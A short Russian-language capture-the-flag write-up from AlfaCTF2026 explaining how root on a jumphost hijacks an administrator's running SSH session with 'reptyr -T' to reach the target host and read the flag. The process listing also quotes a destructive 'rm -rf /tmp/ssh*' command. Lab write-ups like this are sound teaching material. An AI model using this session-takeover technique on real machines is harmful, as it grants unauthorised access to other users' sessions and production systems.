April 25

Тихий квиттинг

CTF: АльфаЦТФ2026

Теги: Medium, Infra, Linux

Автор: @m0nr0e21

Категория: Infra / Linux. Идея: перехватить живую SSH-сессию администратора без использования ssh-agent, через инструмент reptyr.

Разведка на jumphost

После подключения к стенду попадаем на jumphost под root. Смотрим активные процессы:

ps aux

# Интересные процессы:
admin  45  sh -c sleep 1 && rm -rf /tmp/ssh* & ssh -l admin tracker-prod bash
admin  47  ssh -l admin tracker-prod bash

В команде процесса 45 есть rm -rf /tmp/ssh* — первоначально возникла гипотеза, что админ использует ssh-agent forwarding. Однако проверка показала: каталогов /tmp/ssh-* нет, SSH_AUTH_SOCK отсутствует — agent forwarding не используется.

Перехват сессии через reptyr

reptyr — инструмент, который позволяет перепривязать уже запущенный процесс к нашему терминалу. Флаг -T перехватывает всю терминальную сессию, а не только отдельный процесс. Перехватываем SSH-сессию админа (процесс 47):

reptyr -T 47

# Мы оказываемся внутри сессии админа
$ id
uid=1001(admin) gid=1001(admin) groups=1001(admin)

$ hostname
tracker-prod

Теперь мы на целевой машине tracker-prod под пользователем admin. Получаем флаг:

$ ls
flag.txt

$ cat flag.txt

Вывод: живая SSH-сессия админа перехвачена через reptyr -T без использования ssh-agent. Ключ к успеху: root-права на jumphost и уже запущенный SSH-процесс админа, который можно перепривязать.